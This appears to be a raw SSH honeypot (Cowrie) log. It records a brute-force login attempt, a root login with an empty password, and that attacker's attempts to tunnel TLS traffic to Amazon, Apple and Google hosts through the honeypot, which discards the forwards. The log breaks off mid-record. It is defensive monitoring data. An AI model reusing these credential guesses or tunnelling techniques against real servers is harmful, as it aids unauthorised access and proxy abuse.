{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:30.865938Z","src_ip":"92.118.39.56","session":"54c93d9007ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:31.197591Z","src_ip":"92.118.39.56","session":"54c93d9007ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:32.314155Z","src_ip":"92.118.39.56","session":"54c93d9007ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":50032,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfdac8a004b0","protocol":"ssh","message":"New connection: 77.90.185.17:50032 (10.17.0.5:22) [session: cfdac8a004b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:54.458546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:54.463130Z","src_ip":"77.90.185.17","session":"cfdac8a004b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:54.579153Z","src_ip":"77.90.185.17","session":"cfdac8a004b0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"","message":"login attempt [root/] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:55.105458Z","src_ip":"77.90.185.17","session":"cfdac8a004b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.251.143.91","dst_port":443,"src_ip":"77.90.185.17","src_port":60330,"message":"direct-tcp connection request to 34.251.143.91:443 from 127.0.0.1:60330","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:56.643741Z","session":"cfdac8a004b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.251.143.91","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.251.143.91:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:56.772640Z","src_ip":"77.90.185.17","session":"cfdac8a004b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.251.143.91","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03u)c\\xf6\\x17\\x18+e\\xfdI \\x0fZ0\\xc1\\xdf?1\\xb0\\xe5\\x18\\xd4\\xb7\\xe1O<$\\x04\\xbb\\x00J\\x05 B\\x8b\\xd4\\x83I\\xafz\\x97\\x1dc\\xd4\\nUp\\x05Q\\xbc\\xf3Iu\\x97\\xed\\xfd\\xe1Z\\xb2Z\\xdb\\x80\\t\\x98\\x11\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x12*1\\x0c\\xcb\\xcf\\xe8\\x046i\\x12\\xce\\xe2U\\xdf\\xca\\xdd\\xbf\\x92\\xba8M\\xfe\\x9a\\x8ayG.\\x85\\x89WJ\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.251.143.91:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03u)c\\xf6\\x17\\x18+e\\xfdI \\x0fZ0\\xc1\\xdf?1\\xb0\\xe5\\x18\\xd4\\xb7\\xe1O<$\\x04\\xbb\\x00J\\x05 B\\x8b\\xd4\\x83I\\xafz\\x97\\x1dc\\xd4\\nUp\\x05Q\\xbc\\xf3Iu\\x97\\xed\\xfd\\xe1Z\\xb2Z\\xdb\\x80\\t\\x98\\x11\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x12*1\\x0c\\xcb\\xcf\\xe8\\x046i\\x12\\xce\\xe2U\\xdf\\xca\\xdd\\xbf\\x92\\xba8M\\xfe\\x9a\\x8ayG.\\x85\\x89WJ\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:56.775821Z","src_ip":"77.90.185.17","session":"cfdac8a004b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.197.161.53","dst_port":443,"src_ip":"77.90.185.17","src_port":33438,"message":"direct-tcp connection request to 23.197.161.53:443 from 127.0.0.1:33438","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:58.156864Z","session":"cfdac8a004b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.197.161.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.197.161.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:58.378069Z","src_ip":"77.90.185.17","session":"cfdac8a004b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.197.161.53","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03QxJlz@Ee\\x8e\\xea,j\\xb7A4\\x95\\x1cB,\\xab\\xf9p\\x07\\xe7H\\xc7c\\xe3g\\x19\\xe1; \\x93\\xb7\\xf3\\xf18\\x018\\x19[JbR%\\xb8{g\\xa0\\xe3g|\\x1e\\xdb\\xf7\\x8e\\xa4\\x06\\xa4Y\\xb7!\\xf4B\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xa8\\xd3@\\x86\\xc9fy}\\xff\\x0c\\x81B\\xdf\\x1b\\x06jL@x\\xd3u\\xe2d\\xf5#\\x83W\\xf9T&x?\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 23.197.161.53:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03QxJlz@Ee\\x8e\\xea,j\\xb7A4\\x95\\x1cB,\\xab\\xf9p\\x07\\xe7H\\xc7c\\xe3g\\x19\\xe1; \\x93\\xb7\\xf3\\xf18\\x018\\x19[JbR%\\xb8{g\\xa0\\xe3g|\\x1e\\xdb\\xf7\\x8e\\xa4\\x06\\xa4Y\\xb7!\\xf4B\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xa8\\xd3@\\x86\\xc9fy}\\xff\\x0c\\x81B\\xdf\\x1b\\x06jL@x\\xd3u\\xe2d\\xf5#\\x83W\\xf9T&x?\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:58.381405Z","src_ip":"77.90.185.17","session":"cfdac8a004b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.157.119","dst_port":443,"src_ip":"77.90.185.17","src_port":34644,"message":"direct-tcp connection request to 142.251.157.119:443 from 127.0.0.1:34644","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:59.167565Z","session":"cfdac8a004b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.157.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.157.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:59.400269Z","src_ip":"77.90.185.17","session":"cfdac8a004b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.157.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfb\\xef8>\\x91\\x8fR\\x04qi\\xac\\xfb\\xe5}\\x83\\xa5\\x02z\\xb5Y8\\xfcO\\xd7\\xdd\\xe5\\xe8=Lq\\xa5\\xa8 $\\xf3H\\x8b\\xac\\xa3\\xd8\\x11%:1]i\\x1d\\x11\\xc2t\\x86x\\x01\\x1e\\x9e\\x12Q\\xda\\x05\\xb6\\x7f\\xa4\\xf5\\x1f\\x90\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 .\\x1b\\x12\\x83\\xb8\\xf9\\xb9\\x01\\xfe\\xf2\\xca\\x143\\xd5 Z\\x9d\\x81\\x1ew\\x01\\x1aj\\xef\\xda\\x8cr\\x84qw\\x7f!\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.157.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfb\\xef8>\\x91\\x8fR\\x04qi\\xac\\xfb\\xe5}\\x83\\xa5\\x02z\\xb5Y8\\xfcO\\xd7\\xdd\\xe5\\xe8=Lq\\xa5\\xa8 